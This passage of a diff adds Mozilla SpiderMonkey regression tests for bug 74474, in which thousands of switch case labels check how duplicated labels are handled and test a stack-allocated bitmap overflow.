+case 8346:
+case 8347:
+case 8348:
+case 8349:
+case 8350:
+case 8351:
+case 8352:
+case 8353:
+case 8354:
+case 8355:
+case 8356:
+case 8357:
+case 8358:
+case 8359:
+case 8360:
+case 8361:
+case 8362:
+case 8363:
+case 8364:
+case 8365:
+case 8366:
+case 8367:
+case 8368:
+case 8369:
+case 8370:
+case 8371:
+case 8372:
+case 8373:
+case 8374:
+case 8375:
+case 8376:
+case 8377:
+case 8378:
+case 8379:
+case 8380:
+case 8381:
+case 8382:
+case 8383:
+case 8384:
+case 8385:
+case 8386:
+case 8387:
+case 8388:
+case 8389:
+case 8390:
+case 8391:
+case 8392:
+case 8393:
+case 8394:
+case 8395:
+case 8396:
+case 8397:
+case 8398:
+case 8399:
+case 8400:
+case 8401:
+case 8402:
+case 8403:
+case 8404:
+case 8405:
+case 8406:
+case 8407:
+case 8408:
+case 8409:
+case 8410:
+case 8411:
+case 8412:
+case 8413:
+case 8414:
+case 8415:
+case 8416:
+case 8417:
+case 8418:
+case 8419:
+case 8420:
+case 8421:
+case 8422:
+case 8423:
+case 8424:
+case 8425:
+case 8426:
+case 8427:
+case 8428:
+case 8429:
+case 8430:
+case 8431:
+case 8432:
+case 8433:
+case 8434:
+case 8435:
+case 8436:
+case 8437:
+case 8438:
+case 8439:
+case 8440:
+case 8441:
+case 8442:
+case 8443:
+case 8444:
+case 8445:
+case 8446:
+case 8447:
+case 8448:
+case 8449:
+case 8450:
+case 8451:
+case 8452:
+case 8453:
+case 8454:
+case 8455:
+case 8456:
+case 8457:
+case 8458:
+case 8459:
+case 8460:
+case 8461:
+case 8462:
+case 8463:
+case 8464:
+case 8465:
+case 8466:
+case 8467:
+case 8468:
+case 8469:
+case 8470:
+case 8471:
+case 8472:
+case 8473:
+case 8474:
+case 8475:
+case 8476:
+case 8477:
+case 8478:
+case 8479:
+case 8480:
+case 8481:
+case 8482:
+case 8483:
+case 8484:
+case 8485:
+case 8486:
+case 8487:
+case 8488:
+case 8489:
+case 8490:
+case 8491:
+case 8492:
+case 8493:
+case 8494:
+case 8495:
+case 8496:
+case 8497:
+case 8498:
+case 8499:
+case 8500:
+case 8501:
+case 8502:
+case 8503:
+case 8504:
+case 8505:
+case 8506:
+case 8507:
+case 8508:
+case 8509:
+case 8510:
+case 8511:
+case 8512:
+case 8513:
+case 8514:
+case 8515:
+case 8516:
+case 8517:
+case 8518:
+case 8519:
+case 8520:
+case 8521:
+case 8522:
+case 8523:
+case 8524:
+case 8525:
+case 8526:
+case 8527:
+case 8528:
+case 8529:
+case 8530:
+case 8531:
+case 8532:
+case 8533:
+case 8534:
+case 8535:
+case 8536:
+case 8537:
+case 8538:
+case 8539:
+case 8540:
+case 8541:
+case 8542:
+case 8543:
+case 8544:
+case 8545:
+case 8546:
+case 8547:
+case 8548:
+case 8549:
+case 8550:
+case 8551:
+case 8552:
+case 8553:
+case 8554:
+case 8555:
+case 8556:
+case 8557:
+case 8558:
+case 8559:
+case 8560:
+case 8561:
+case 8562:
+case 8563:
+case 8564:
+case 8565:
+case 8566:
+case 8567:
+case 8568:
+case 8569:
+case 8570:
+case 8571:
+case 8572:
+case 8573:
+case 8574:
+case 8575:
+case 8576:
+case 8577:
+case 8578:
+case 8579:
+case 8580:
+case 8581:
+case 8582:
+case 8583:
+case 8584:
+case 8585:
+case 8586:
+case 8587:
+case 8588:
+case 8589:
+case 8590:
+case 8591:
+case 8592:
+case 8593:
+case 8594:
+case 8595:
+case 8596:
+case 8597:
+case 8598:
+case 8599:
+case 8600:
+case 8601:
+case 8602:
+case 8603:
+case 8604:
+case 8605:
+case 8606:
+case 8607:
+case 8608:
+case 8609:
+case 8610:
+case 8611:
+case 8612:
+case 8613:
+case 8614:
+case 8615:
+case 8616:
+case 8617:
+case 8618:
+case 8619:
+case 8620:
+case 8621:
+case 8622:
+case 8623:
+case 8624:
+case 8625:
+case 8626:
+case 8627:
+case 8628:
+case 8629:
+case 8630:
+case 8631:
+case 8632:
+case 8633:
+case 8634:
+case 8635:
+case 8636:
+case 8637:
+case 8638:
+case 8639:
+case 8640:
+case 8641:
+case 8642:
+case 8643:
+case 8644:
+case 8645:
+case 8646:
+case 8647:
+case 8648:
+case 8649:
+case 8650:
+case 8651:
+case 8652:
+case 8653:
+case 8654:
+case 8655:
+case 8656:
+case 8657:
+case 8658:
+case 8659:
+case 8660:
+case 8661:
+case 8662:
+case 8663:
+case 8664:
+case 8665:
+case 8666:
+case 8667:
+case 8668:
+case 8669:
+case 8670:
+case 8671:
+case 8672:
+case 8673:
+case 8674:
+case 8675:
+case 8676:
+case 8677:
+case 8678:
+case 8679:
+case 8680:
+case 8681:
+case 8682:
+case 8683:
+case 8684:
+case 8685:
+case 8686:
+case 8687:
+case 8688:
+case 8689:
+case 8690:
+case 8691:
+case 8692:
+case 8693:
+case 8694:
+case 8695:
+case 8696:
+case 8697:
+case 8698:
+case 8699:
+case 8700:
+case 8701:
+case 8702:
+case 8703:
+case 8704:
+case 8705:
+case 8706:
+case 8707:
+case 8708:
+case 8709:
+case 8710:
+case 8711:
+case 8712:
+case 8713:
+case 8714:
+case 8715:
+case 8716:
+case 8717:
+case 8718:
+case 8719:
+case 8720:
+case 8721:
+case 8722:
+case 8723:
+case 8724:
+case 8725:
+case 8726:
+case 8727:
+case 8728:
+case 8729:
+case 8730:
+case 8731:
+case 8732:
+case 8733:
+case 8734:
+case 8735:
+case 8736:
+case 8737:
+case 8738:
+case 8739:
+case 8740:
+case 8741:
+case 8742:
+case 8743:
+case 8744:
+case 8745:
+case 8746:
+case 8747:
+case 8748:
+case 8749:
+case 8750:
+case 8751:
+case 8752:
+case 8753:
+case 8754:
+case 8755:
+case 8756:
+case 8757:
+case 8758:
+case 8759:
+case 8760:
+case 8761:
+case 8762:
+case 8763:
+case 8764:
+case 8765:
+case 8766:
+case 8767:
+case 8768:
+case 8769:
+case 8770:
+case 8771:
+case 8772:
+case 8773:
+case 8774:
+case 8775:
+case 8776:
+case 8777:
+case 8778:
+case 8779:
+case 8780:
+case 8781:
+case 8782:
+case 8783:
+case 8784:
+case 8785:
+case 8786:
+case 8787:
+case 8788:
+case 8789:
+case 8790:
+case 8791:
+case 8792:
+case 8793:
+case 8794:
+case 8795:
+case 8796:
+case 8797:
+case 8798:
+case 8799:
+case 8800:
+case 8801:
+case 8802:
+case 8803:
+case 8804:
+case 8805:
+case 8806:
+case 8807:
+case 8808:
+case 8809:
+case 8810:
+case 8811:
+case 8812:
+case 8813:
+case 8814:
+case 8815:
+case 8816:
+case 8817:
+case 8818:
+case 8819:
+case 8820:
+case 8821:
+case 8822:
+case 8823:
+case 8824:
+case 8825:
+case 8826:
+case 8827:
+case 8828:
+case 8829:
+case 8830:
+case 8831:
+case 8832:
+case 8833:
+case 8834:
+case 8835:
+case 8836:
+case 8837:
+case 8838:
+case 8839:
+case 8840:
+case 8841:
+case 8842:
+case 8843:
+case 8844:
+case 8845:
+case 8846:
+case 8847:
+case 8848:
+case 8849:
+case 8850:
+case 8851:
+case 8852:
+case 8853:
+case 8854:
+case 8855:
+case 8856:
+case 8857:
+case 8858:
+case 8859:
+case 8860:
+case 8861:
+case 8862:
+case 8863:
+case 8864:
+case 8865:
+case 8866:
+case 8867:
+case 8868:
+case 8869:
+case 8870:
+case 8871:
+case 8872:
+case 8873:
+case 8874:
+case 8875:
+case 8876:
+case 8877:
+case 8878:
+case 8879:
+case 8880:
+case 8881:
+case 8882:
+case 8883:
+case 8884:
+case 8885:
+case 8886:
+case 8887:
+case 8888:
+case 8889:
+case 8890:
+case 8891:
+case 8892:
+case 8893:
+case 8894:
+case 8895:
+case 8896:
+case 8897:
+case 8898:
+case 8899:
+case 8900:
+case 8901:
+case 8902:
+case 8903:
+case 8904:
+case 8905:
+case 8906:
+case 8907:
+case 8908:
+case 8909:
+case 8910:
+case 8911:
+case 8912:
+case 8913:
+case 8914:
+case 8915:
+case 8916:
+case 8917:
+case 8918:
+case 8919:
+case 8920:
+case 8921:
+case 8922:
+case 8923:
+case 8924:
+case 8925:
+case 8926:
+case 8927:
+case 8928:
+case 8929:
+case 8930:
+case 8931:
+case 8932:
+case 8933:
+case 8934:
+case 8935:
+case 8936:
+case 8937:
+case 8938:
+case 8939:
+case 8940:
+case 8941:
+case 8942:
+case 8943:
+case 8944:
+case 8945:
+case 8946:
+case 8947:
+case 8948:
+case 8949:
+case 8950:
+case 8951:
+case 8952:
+case 8953:
+case 8954:
+case 8955:
+case 8956:
+case 8957:
+case 8958:
+case 8959:
+case 8960:
+case 8961:
+case 8962:
+case 8963:
+case 8964:
+case 8965:
+case 8966:
+case 8967:
+case 8968:
+case 8969:
+case 8970:
+case 8971:
+case 8972:
+case 8973:
+case 8974:
+case 8975:
+case 8976:
+case 8977:
+case 8978:
+case 8979:
+case 8980:
+case 8981:
+case 8982:
+case 8983:
+case 8984:
+case 8985:
+case 8986:
+case 8987:
+case 8988:
+case 8989:
+case 8990:
+case 8991:
+case 8992:
+case 8993:
+case 8994:
+case 8995:
+case 8996:
+case 8997:
+case 8998:
+case 8999:
+ actual += 'a';
+}
+expect = 'a';
+addThis();
+
+
+
+//---------------------------------------------------------------------------------
+test();
+//---------------------------------------------------------------------------------
+
+
+function addThis()
+{
+ statusitems[UBound] = status;
+ actualvalues[UBound] = actual;
+ expectedvalues[UBound] = expect;
+ UBound++;
+}
+
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ for (var i = 0; i < UBound; i++)
+ {
+ reportCompare(expectedvalues[i], actualvalues[i], statusitems[i]);
+ }
+}
diff --git a/js/src/tests/non262/statements/regress-74474-003.js b/js/src/tests/non262/statements/regress-74474-003.js
new file mode 100644
index 0000000000..51ad2e1674
--- /dev/null
+++ b/js/src/tests/non262/statements/regress-74474-003.js
@@ -0,0 +1,9062 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ * Date: 09 May 2001
+ *
+ * SUMMARY: Regression test for Bugzilla bug 74474
+ * "switch() misbehaves with duplicated labels"
+ *
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=74474
+ * See ECMA3 Section 12.11, "The switch Statement"
+ */
+//-----------------------------------------------------------------------------
+var UBound = 0;
+var BUGNUMBER = 74474;
+var summary = 'Test of switch statement that overflows the stack-allocated bitmap';
+var status = '(One duplicated label [8998])';
+var statusitems = [ ];
+var actual = '';
+var actualvalues = [ ];
+var expect= '';
+var expectedvalues = [ ];
+var x = 3;
+
+
+switch (x)
+{
+case 0:
+case 1:
+case 2:
+case 3:
+case 4:
+case 5:
+case 6:
+case 7:
+case 8:
+case 9:
+case 10:
+case 11:
+case 12:
+case 13:
+case 14:
+case 15:
+case 16:
+case 17:
+case 18:
+case 19:
+case 20:
+case 21:
+case 22:
+case 23:
+case 24:
+case 25:
+case 26:
+case 27:
+case 28:
+case 29:
+case 30:
+case 31:
+case 32:
+case 33:
+case 34:
+case 35:
+case 36:
+case 37:
+case 38:
+case 39:
+case 40:
+case 41:
+case 42:
+case 43:
+case 44:
+case 45:
+case 46:
+case 47:
+case 48:
+case 49:
+case 50:
+case 51:
+case 52:
+case 53:
+case 54:
+case 55:
+case 56:
+case 57:
+case 58:
+case 59:
+case 60:
+case 61:
+case 62:
+case 63:
+case 64:
+case 65:
+case 66:
+case 67:
+case 68:
+case 69:
+case 70:
+case 71:
+case 72:
+case 73:
+case 74:
+case 75:
+case 76:
+case 77:
+case 78:
+case 79:
+case 80:
+case 81:
+case 82:
+case 83:
+case 84:
+case 85:
+case 86:
+case 87:
+case 88:
+case 89:
+case 90:
+case 91:
+case 92:
+case 93:
+case 94:
+case 95:
+case 96:
+case 97:
+case 98:
+case 99:
+case 100:
+case 101:
+case 102:
+case 103:
+case 104:
+case 105:
+case 106:
+case 107:
+case 108:
+case 109:
+case 110:
+case 111:
+case 112:
+case 113:
+case 114:
+case 115:
+case 116:
+case 117:
+case 118:
+case 119:
+case 120:
+case 121:
+case 122:
+case 123:
+case 124:
+case 125:
+case 126:
+case 127:
+case 128:
+case 129:
+case 130:
+case 131:
+case 132:
+case 133:
+case 134:
+case 135:
+case 136:
+case 137:
+case 138:
+case 139:
+case 140:
+case 141:
+case 142:
+case 143:
+case 144:
+case 145:
+case 146:
+case 147:
+case 148:
+case 149:
+case 150:
+case 151:
+case 152:
+case 153:
+case 154:
+case 155:
+case 156:
+case 157:
+case 158:
+case 159:
+case 160:
+case 161:
+case 162:
+case 163:
+case 164:
+case 165:
+case 166:
+case 167:
+case 168:
+case 169:
+case 170:
+case 171:
+case 172:
+case 173:
+case 174:
+case 175:
+case 176:
+case 177:
+case 178:
+case 179:
+case 180:
+case 181:
+case 182:
+case 183:
+case 184:
+case 185:
+case 186:
+case 187:
+case 188:
+case 189:
+case 190:
+case 191:
+case 192:
+case 193:
+case 194:
+case 195:
+case 196:
+case 197:
+case 198:
+case 199:
+case 200:
+case 201:
+case 202:
+case 203:
+case 204:
+case 205:
+case 206:
+case 207:
+case 208:
+case 209:
+case 210:
+case 211:
+case 212:
+case 213:
+case 214:
+case 215:
+case 216:
+case 217:
+case 218:
+case 219:
+case 220:
+case 221:
+case 222:
+case 223:
+case 224:
+case 225:
+case 226:
+case 227:
+case 228:
+case 229:
+case 230:
+case 231:
+case 232:
+case 233:
+case 234:
+case 235:
+case 236:
+case 237:
+case 238:
+case 239:
+case 240:
+case 241:
+case 242:
+case 243:
+case 244:
+case 245:
+case 246:
+case 247:
+case 248:
+case 249:
+case 250:
+case 251:
+case 252:
+case 253:
+case 254:
+case 255:
+case 256:
+case 257:
+case 258:
+case 259:
+case 260:
+case 261:
+case 262:
+case 263:
+case 264:
+case 265:
+case 266:
+case 267:
+case 268:
+case 269:
+case 270:
+case 271:
+case 272:
+case 273:
+case 274:
+case 275:
+case 276:
+case 277:
+case 278:
+case 279:
+case 280:
+case 281:
+case 282:
+case 283:
+case 284:
+case 285:
+case 286:
+case 287:
+case 288:
+case 289:
+case 290:
+case 291:
+case 292:
+case 293:
+case 294:
+case 295:
+case 296:
+case 297:
+case 298:
+case 299:
+case 300:
+case 301:
+case 302:
+case 303:
+case 304:
+case 305:
+case 306:
+case 307:
+case 308:
+case 309:
+case 310:
+case 311:
+case 312:
+case 313:
+case 314:
+case 315:
+case 316:
+case 317:
+case 318:
+case 319:
+case 320:
+case 321:
+case 322:
+case 323:
+case 324:
+case 325:
+case 326:
+case 327:
+case 328:
+case 329:
+case 330:
+case 331:
+case 332:
+case 333:
+case 334:
+case 335:
+case 336:
+case 337:
+case 338:
+case 339:
+case 340:
+case 341:
+case 342:
+case 343:
+case 344:
+case 345:
+case 346:
+case 347:
+case 348:
+case 349:
+case 350:
+case 351:
+case 352:
+case 353:
+case 354:
+case 355:
+case 356:
+case 357:
+case 358:
+case 359:
+case 360:
+case 361:
+case 362:
+case 363:
+case 364:
+case 365:
+case 366:
+case 367:
+case 368:
+case 369:
+case 370:
+case 371:
+case 372:
+case 373:
+case 374:
+case 375:
+case 376:
+case 377:
+case 378:
+case 379:
+case 380:
+case 381:
+case 382:
+case 383:
+case 384:
+case 385:
+case 386:
+case 387:
+case 388:
+case 389:
+case 390:
+case 391:
+case 392:
+case 393:
+case 394:
+case 395:
+case 396:
+case 397:
+case 398:
+case 399:
+case 400:
+case 401:
+case 402:
+case 403:
+case 404:
+case 405:
+case 406:
+case 407:
+case 408:
+case 409:
+case 410:
+case 411:
+case 412:
+case 413:
+case 414:
+case 415:
+case 416:
+case 417:
+case 418:
+case 419:
+case 420:
+case 421:
+case 422:
+case 423:
+case 424:
+case 425:
+case 426:
+case 427:
+case 428:
+case 429:
+case 430:
+case 431:
+case 432:
+case 433:
+case 434:
+case 435:
+case 436:
+case 437:
+case 438:
+case 439:
+case 440:
+case 441:
+case 442:
+case 443:
+case 444:
+case 445:
+case 446:
+case 447:
+case 448:
+case 449:
+case 450:
+case 451:
+case 452:
+case 453:
+case 454:
+case 455:
+case 456:
+case 457:
+case 458:
+case 459:
+case 460:
+case 461:
+case 462:
+case 463:
+case 464:
+case 465:
+case 466:
+case 467:
+case 468:
+case 469:
+case 470:
+case 471:
+case 472:
+case 473:
+case 474:
+case 475:
+case 476:
+case 477:
+case 478:
+case 479:
+case 480:
+case 481:
+case 482:
+case 483:
+case 484:
+case 485:
+case 486:
+case 487:
+case 488:
+case 489:
+case 490:
+case 491:
+case 492:
+case 493:
+case 494:
+case 495:
+case 496:
+case 497:
+case 498:
+case 499:
+case 500:
+case 501:
+case 502:
+case 503:
+case 504:
+case 505:
+case 506:
+case 507:
+case 508:
+case 509:
+case 510:
+case 511:
+case 512:
+case 513:
+case 514:
+case 515:
+case 516:
+case 517:
+case 518:
+case 519:
+case 520:
+case 521:
+case 522:
+case 523:
+case 524:
+case 525:
+case 526:
+case 527:
+case 528:
+case 529:
+case 530:
+case 531:
+case 532:
+case 533:
+case 534:
+case 535:
+case 536:
+case 537:
+case 538:
+case 539:
+case 540:
+case 541:
+case 542:
+case 543:
+case 544:
+case 545:
+case 546:
+case 547:
+case 548:
+case 549:
+case 550:
+case 551:
+case 552:
+case 553:
+case 554:
+case 555:
+case 556:
+case 557:
+case 558:
+case 559:
+case 560:
+case 561:
+case 562:
+case 563:
+case 564:
+case 565:
+case 566:
+case 567:
+case 568:
+case 569:
+case 570:
+case 571:
+case 572:
+case 573:
+case 574:
+case 575:
+case 576:
+case 577:
+case 578:
+case 579:
+case 580:
+case 581:
+case 582:
+case 583:
+case 584:
+case 585:
+case 586:
+case 587:
+case 588:
+case 589:
+case 590:
+case 591:
+case 592:
+case 593:
+case 594:
+case 595:
+case 596:
+case 597:
+case 598:
+case 599:
+case 600:
+case 601:
+case 602:
+case 603:
+case 604:
+case 605:
+case 606:
+case 607:
+case 608:
+case 609:
+case 610:
+case 611:
+case 612:
+case 613:
+case 614:
+case 615:
+case 616:
+case 617:
+case 618:
+case 619:
+case 620:
+case 621:
+case 622:
+case 623:
+case 624:
+case 625:
+case 626:
+case 627:
+case 628:
+case 629:
+case 630:
+case 631:
+case 632:
+case 633:
+case 634:
+case 635:
+case 636:
+case 637:
+case 638:
+case 639:
+case 640:
+case 641:
+case 642:
+case 643:
+case 644:
+case 645:
+case 646:
+case 647:
+case 648:
+case 649:
+case 650:
+case 651:
+case 652:
+case 653:
+case 654:
+case 655:
+case 656:
+case 657:
+case 658:
+case 659:
+case 660:
+case 661:
+case 662:
+case 663:
+case 664:
+case 665:
+case 666:
+case 667:
+case 668:
+case 669:
+case 670:
+case 671:
+case 672:
+case 673:
+case 674:
+case 675:
+case 676:
+case 677:
+case 678:
+case 679:
+case 680:
+case 681:
+case 682:
+case 683:
+case 684:
+case 685:
+case 686:
+case 687:
+case 688:
+case 689:
+case 690:
+case 691:
+case 692:
+case 693:
+case 694:
+case 695:
+case 696:
+case 697:
+case 698:
+case 699:
+case 700:
+case 701:
+case 702:
+case 703:
+case 704:
+case 705:
+case 706:
+case 707:
+case 708:
+case 709:
+case 710:
+case 711:
+case 712:
+case 713:
+case 714:
+case 715:
+case 716:
+case 717:
+case 718:
+case 719:
+case 720:
+case 721:
+case 722:
+case 723:
+case 724:
+case 725:
+case 726:
+case 727:
+case 728:
+case 729:
+case 730:
+case 731:
+case 732:
+case 733:
+case 734:
+case 735:
+case 736:
+case 737:
+case 738:
+case 739:
+case 740:
+case 741:
+case 742:
+case 743:
+case 744:
+case 745:
+case 746:
+case 747:
+case 748:
+case 749:
+case 750:
+case 751:
+case 752:
+case 753:
+case 754:
+case 755:
+case 756:
+case 757:
+case 758:
+case 759:
+case 760:
+case 761:
+case 762:
+case 763:
+case 764:
+case 765:
+case 766:
+case 767:
+case 768:
+case 769:
+case 770:
+case 771:
+case 772:
+case 773:
+case 774:
+case 775:
+case 776:
+case 777:
+case 778:
+case 779:
+case 780:
+case 781:
+case 782:
+case 783:
+case 784:
+case 785:
+case 786:
+case 787:
+case 788:
+case 789:
+case 790:
+case 791:
+case 792:
+case 793:
+case 794:
+case 795:
+case 796:
+case 797:
+case 798:
+case 799:
+case 800:
+case 801:
+case 802:
+case 803:
+case 804:
+case 805:
+case 806:
+case 807:
+case 808:
+case 809:
+case 810:
+case 811:
+case 812:
+case 813:
+case 814:
+case 815:
+case 816:
+case 817:
+case 818:
+case 819:
+case 820:
+case 821:
+case 822:
+case 823:
+case 824:
+case 825:
+case 826:
+case 827:
+case 828:
+case 829:
+case 830:
+case 831:
+case 832:
+case 833:
+case 834:
+case 835:
+case 836:
+case 837:
+case 838:
+case 839:
+case 840:
+case 841:
+case 842:
+case 843:
+case 844:
+case 845:
+case 846:
+case 847:
+case 848:
+case 849:
+case 850:
+case 851:
+case 852:
+case 853:
+case 854:
+case 855:
+case 856:
+case 857:
+case 858:
+case 859:
+case 860:
+case 861:
+case 862:
+case 863:
+case 864:
+case 865:
+case 866:
+case 867:
+case 868:
+case 869:
+case 870:
+case 871:
+case 872:
+case 873:
+case 874:
+case 875:
+case 876:
+case 877:
+case 878:
+case 879:
+case 880:
+case 881:
+case 882:
+case 883:
+case 884:
+case 885:
+case 886:
+case 887:
+case 888:
+case 889:
+case 890:
+case 891:
+case 892:
+case 893:
+case 894:
+case 895:
+case 896:
+case 897:
+case 898:
+case 899:
+case 900:
+case 901:
+case 902:
+case 903:
+case 904:
+case 905:
+case 906:
+case 907:
+case 908:
+case 909:
+case 910:
+case 911:
+case 912:
+case 913:
+case 914:
+case 915:
+case 916:
+case 917:
+case 918:
+case 919:
+case 920:
+case 921:
+case 922:
+case 923:
+case 924:
+case 925:
+case 926:
+case 927:
+case 928:
+case 929:
+case 930:
+case 931:
+case 932:
+case 933:
+case 934:
+case 935:
+case 936:
+case 937:
+case 938:
+case 939:
+case 940:
+case 941:
+case 942:
+case 943:
+case 944:
+case 945:
+case 946:
+case 947:
+case 948:
+case 949:
+case 950:
+case 951:
+case 952:
+case 953:
+case 954:
+case 955:
+case 956:
+case 957:
+case 958:
+case 959:
+case 960:
+case 961:
+case 962:
+case 963:
+case 964:
+case 965:
+case 966:
+case 967:
+case 968:
+case 969:
+case 970:
+case 971:
+case 972:
+case 973:
+case 974:
+case 975:
+case 976:
+case 977:
+case 978:
+case 979:
+case 980:
+case 981:
+case 982:
+case 983:
+case 984:
+case 985:
+case 986:
+case 987:
+case 988:
+case 989:
+case 990:
+case 991:
+case 992:
+case 993:
+case 994:
+case 995:
+case 996:
+case 997:
+case 998:
+case 999:
+case 1000:
+case 1001:
+case 1002:
+case 1003:
+case 1004:
+case 1005:
+case 1006:
+case 1007:
+case 1008:
+case 1009:
+case 1010:
+case 1011:
+case 1012:
+case 1013:
+case 1014:
+case 1015:
+case 1016:
+case 1017:
+case 1018:
+case 1019:
+case 1020:
+case 1021:
+case 1022:
+case 1023:
+case 1024:
+case 1025:
+case 1026:
+case 1027:
+case 1028:
+case 1029:
+case 1030:
+case 1031:
+case 1032:
+case 1033:
+case 1034:
+case 1035:
+case 1036:
+case 1037:
+case 1038:
+case 1039:
+case 1040:
+case 1041:
+case 1042:
+case 1043:
+case 1044:
+case 1045:
+case 1046:
+case 1047:
+case 1048:
+case 1049:
+case 1050:
+case 1051:
+case 1052:
+case 1053:
+case 1054:
+case 1055:
+case 1056:
+case 1057:
+case 1058:
+case 1059:
+case 1060:
+case 1061:
+case 1062:
+case 1063:
+case 1064:
+case 1065:
+case 1066:
+case 1067:
+case 1068:
+case 1069:
+case 1070:
+case 1071:
+case 1072:
+case 1073:
+case 1074:
+case 1075:
+case 1076:
+case 1077:
+case 1078:
+case 1079:
+case 1080:
+case 1081:
+case 1082:
+case 1083:
+case 1084:
+case 1085:
+case 1086:
+case 1087:
+case 1088:
+case 1089:
+case 1090:
+case 1091:
+case 1092:
+case 1093:
+case 1094:
+case 1095:
+case 1096:
+case 1097:
+case 1098:
+case 1099:
+case 1100:
+case 1101:
+case 1102:
+case 1103:
+case 1104:
+case 1105:
+case 1106:
+case 1107:
+case 1108:
+case 1109:
+case 1110:
+case 1111:
+case 1112:
+case 1113:
+case 1114:
+case 1115:
+case 1116:
+case 1117:
+case 1118:
+case 1119:
+case 1120:
+case 1121:
+case 1122:
+case 1123:
+case 1124:
+case 1125:
+case 1126:
+case 1127:
+case 1128:
+case 1129:
+case 1130:
+case 1131:
+case 1132:
+case 1133:
+case 1134:
+case 1135:
+case 1136:
+case 1137:
+case 1138:
+case 1139:
+case 1140:
+case 1141:
+case 1142:
+case 1143:
+case 1144:
+case 1145:
+case 1146:
+case 1147:
+case 1148:
+case 1149:
+case 1150:
+case 1151:
+case 1152:
+case 1153:
+case 1154:
+case 1155:
+case 1156:
+case 1157:
+case 1158:
+case 1159:
+case 1160:
+case 1161:
+case 1162:
+case 1163:
+case 1164:
+case 1165:
+case 1166:
+case 1167:
+case 1168:
+case 1169:
+case 1170:
+case 1171:
+case 1172:
+case 1173:
+case 1174:
+case 1175:
+case 1176:
+case 1177:
+case 1178:
+case 1179:
+case 1180:
+case 1181:
+case 1182:
+case 1183:
+case 1184:
+case 1185:
+case 1186:
+case 1187:
+case 1188:
+case 1189:
+case 1190:
+case 1191:
+case 1192:
+case 1193:
+case 1194:
+case 1195:
+case 1196:
+case 1197:
+case 1198:
+case 1199:
+case 1200:
+case 1201:
+case 1202:
+case 1203:
+case 1204:
+case 1205:
+case 1206:
+case 1207:
+case 1208:
+case 1209:
+case 1210:
+case 1211:
+case 1212:
+case 1213:
+case 1214:
+case 1215:
+case 1216:
+case 1217:
+case 1218:
+case 1219:
+case 1220:
+case 1221:
+case 1222:
+case 1223:
+case 1224:
+case 1225:
+case 1226:
+case 1227:
+case 1228:
+case 1229:
+case 1230:
+case 1231:
+case 1232:
+case 1233:
+case 1234:
+case 1235:
+case 1236:
+case 1237:
+case 1238:
+case 1239:
+case 1240:
+case 1241:
+case 1242:
+case 1243:
+case 1244:
+case 1245:
+case 1246:
+case 1247:
+case 1248:
+case 1249:
+case 1250:
+case 1251:
+case 1252:
+case 1253:
+case 1254:
+case 1255:
+case 1256:
+case 1257:
+case 1258:
+case 1259:
+case 1260:
+case 1261:
+case 1262:
+case 1263:
+case 1264:
+case 1265:
+case 1266:
+case 1267:
+case 1268:
+case 1269:
+case 1270:
+case 1271:
+case 1272:
+case 1273:
+case 1274:
+case 1275:
+case 1276:
+case 1277:
+case 1278:
+case 1279:
+case 1280:
+case 1281:
+case 1282:
+case 1283:
+case 1284:
+case 1285:
+case 1286:
+case 1287:
+case 1288:
+case 1289:
+case 1290:
+case 1291:
+case 1292:
+case 1293:
+case 1294:
+case 1295:
+case 1296:
+case 1297:
+case 1298:
+case 1299:
+case 1300:
+case 1301:
+case 1302:
+case 1303:
+case 1304:
+case 1305:
+case 1306:
+case 1307:
+case 1308:
+case 1309:
+case 1310:
+case 1311:
+case 1312:
+case 1313:
+case 1314:
+case 1315:
+case 1316:
+case 1317:
+case 1318:
+case 1319:
+case 1320:
+case 1321:
+case 1322:
+case 1323:
+case 1324:
+case 1325:
+case 1326:
+case 1327:
+case 1328:
+case 1329:
+case 1330:
+case 1331:
+case 1332:
+case 1333:
+case 1334:
+case 1335:
+case 1336:
+case 1337:
+case 1338:
+case 1339:
+case 1340:
+case 1341:
+case 1342:
+case 1343:
+case 1344:
+case 1345:
+case 1346:
+case 1347:
+case 1348:
+case 1349:
+case 1350:
+case 1351:
+case 1352:
+case 1353:
+case 1354:
+case 1355:
+case 1356:
+case 1357:
+case 1358:
+case 1359:
+case 1360:
+case 1361:
+case 1362:
+case 1363:
+case 1364:
+case 1365:
+case 1366:
+case 1367:
+case 1368:
+case 1369:
+case 1370:
+case 1371:
+case 1372:
+case 1373:
+case 1374:
+case 1375:
+case 1376:
+case 1377:
+case 1378:
+case 1379:
+case 1380:
+case 1381:
+case 1382:
+case 1383:
+case 1384:
+case 1385:
+case 1386:
+case 1387:
+case 1388:
+case 1389:
+case 1390:
+case 1391:
+case 1392:
+case 1393:
+case 1394:
+case 1395:
+case 1396:
+case 1397:
+case 1398:
+case 1399:
+case 1400:
+case 1401:
+case 1402:
+case 1403:
+case 1404:
+case 1405:
+case 1406:
+case 1407:
+case 1408:
+case 1409:
+case 1410:
+case 1411:
+case 1412:
+case 1413:
+case 1414:
+case 1415:
+case 1416:
+case 1417:
+case 1418:
+case 1419:
+case 1420:
+case 1421:
+case 1422:
+case 1423:
+case 1424:
+case 1425:
+case 1426:
+case 1427:
+case 1428:
+case 1429:
+case 1430:
+case 1431:
+case 1432:
+case 1433:
+case 1434:
+case 1435:
+case 1436:
+case 1437:
+case 1438:
+case 1439:
+case 1440:
+case 1441:
+case 1442:
+case 1443:
+case 1444:
+case 1445:
+case 1446:
+case 1447:
+case 1448:
+case 1449:
+case 1450:
+case 1451:
+case 1452:
+case 1453:
+case 1454:
+case 1455:
+case 1456:
+case 1457:
+case 1458:
+case 1459:
+case 1460:
+case 1461:
+case 1462:
+case 1463:
+case 1464:
+case 1465:
+case 1466:
+case 1467:
+case 1468:
+case 1469:
+case 1470:
+case 1471:
+case 1472:
+case 1473:
+case 1474:
+case 1475:
+case 1476:
+case 1477:
+case 1478:
+case 1479:
+case 1480:
+case 1481:
+case 1482:
+case 1483:
+case 1484:
+case 1485:
+case 1486:
+case 1487:
+case 1488:
+case 1489:
+case 1490:
+case 1491:
+case 1492:
+case 1493:
+case 1494:
+case 1495:
+case 1496:
+case 1497:
+case 1498:
+case 1499:
+case 1500:
+case 1501:
+case 1502:
+case 1503:
+case 1504:
+case 1505:
+case 1506:
+case 1507:
+case 1508:
+case 1509:
+case 1510:
+case 1511:
+case 1512:
+case 1513:
+case 1514:
